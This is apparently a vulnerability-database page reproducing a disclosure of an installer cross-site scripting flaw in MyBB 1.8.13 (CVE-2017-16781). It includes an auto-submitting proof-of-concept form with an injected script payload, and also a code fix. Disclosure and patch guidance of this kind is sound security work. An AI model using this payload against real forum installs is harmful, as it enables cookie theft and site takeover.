Lucene search
K

MyBB 1.8.13 - Cross-Site Scripting

🗓️ 11 Nov 2017 00:00:00Reported by PabstersacType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 26 Views

MyBB 1.8.13 Cross-Site Scripting via installer allows attacker to take over accounts by exploiting HTML character insertion in Database Server Hostnam

Related
Code
ReporterTitlePublishedViews
Family
0day.today
MyBB 1.8.13 - Cross-Site Scripting Vulnerability
21 Nov 201700:00
zdt
Circl
CVE-2017-16781
11 Nov 201700:00
circl
CNVD
MyBB installer cross-site scripting vulnerability
13 Nov 201700:00
cnvd
CVE
CVE-2017-16781
10 Nov 201723:00
cve
Cvelist
CVE-2017-16781
10 Nov 201723:00
cvelist
EUVD
EUVD-2017-7960
7 Oct 202500:30
euvd
exploitpack
MyBB 1.8.13 - Cross-Site Scripting
11 Nov 201700:00
exploitpack
NVD
CVE-2017-16781
10 Nov 201723:29
nvd
OpenVAS
MyBB < 1.8.13 Multiple Vulnerabilities
13 Nov 201700:00
openvas
OSV
CVE-2017-16781
10 Nov 201723:29
osv
Rows per page
# Exploit Title: XSS in MyBB up to 1.8.13 via installer
# Date: Found on 05-29-2017
# Exploit Author: Pablo Sacristan
# Vendor Homepage: https://mybb.com/
# Version: Version > 1.8.13 (Fixed in 1.8.13)
# CVE : CVE-2017-16781

No HTML escaping when returning an $error in /install/index.php can
lead to an XSS which can be used to take over an attacker account.

The vulnerability occurs in /install/index.php:2503 and occurs because
there is no html encoding of the $error. A simple way to exploit this
is to create an error by using the Database Server Hostname and
inserting HTML characters there.

It is a POST XSS and this is a PoC:
<form name="x" action="http://target.com/install/index.php" method="post">

<input type="hidden" name='dbengine' value="mysqli">
<input type="hidden" name='config[mysqli][dbhost]' value="<img src=x onerror=alert(0)>">
<input type="hidden" name='config[mysqli][dbuser]' value="lol">
<input type="hidden" name='config[mysqli][dbpass]' value="lol">
<input type="hidden" name='config[mysqli][dbname]' value="lol">
<input type="hidden" name='config[mysqli][tableprefix]' value="lol">
<input type="hidden" name='config[mysqli][encoding]' value="utf8">
<input type="hidden" name='config[mysql][dbhost]' value="localhost">
<input type="hidden" name='action' value="create_tables">

</form>

<script>document.x.submit();</script>

Using this attack you can steal the cookies and you can install the MyBB server as you want, giving you almost full control over the MyBB server.

A simple fix would be to change the function error_list($array) to:
function error_list($array)
{
 $string = "<ul>\n";
 foreach($array as $error)
 {
            $string .= "<li>";
            $string .= htmlspecialchars($error);
            $string .= "</li>";
 }
 $string .= "</ul>\n";
 return $string;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Nov 2017 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 23.5
CVSS 35.4
EPSS0.00262
26